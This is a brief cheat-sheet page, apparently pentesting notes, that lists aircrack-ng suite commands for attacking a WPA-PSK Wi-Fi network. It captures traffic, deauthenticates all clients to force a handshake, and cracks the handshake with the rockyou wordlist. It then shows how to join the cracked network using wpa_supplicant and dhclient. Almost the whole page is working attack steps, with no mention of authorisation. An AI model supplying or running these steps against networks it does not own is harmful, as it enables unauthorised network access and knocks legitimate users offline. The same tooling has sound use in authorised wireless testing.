# WPA-PSK

List the target:

```
sudo airodump-ng wlan0
```

```
airodump-ng --bssid <Target_SSID> --channel <channel_number> --write wpa_psk_handshake wlan0
```

deauth all client:

```
aireplay-ng -0 5 -a <Target_SSID> wlan0
```

crack the handshake:

```
aircrack-ng wpa_psk_handshake.cap -w /usr/share/wordlist/rockyou.txt
```

***

How to connect via terminal:

1. generate the config

```
wpa_passphrase <Target-Name> <Password> > wpa_psk.conf
```

2. connect to the ssid

```
sudo wpa_supplicant -B -i wlan0 -c ./wpa_psk.conf
```

3. obtain the IP Address

```
sudo dhclient wlan0
```

{% hint style="info" %}
Don't forget to stop monitor mode. If  there is an error try to restart NetworkManager
{% endhint %}

**Bonus:**

How to stop wpa\_supplicant:

```
systemctl stop wpa_supplicant
```
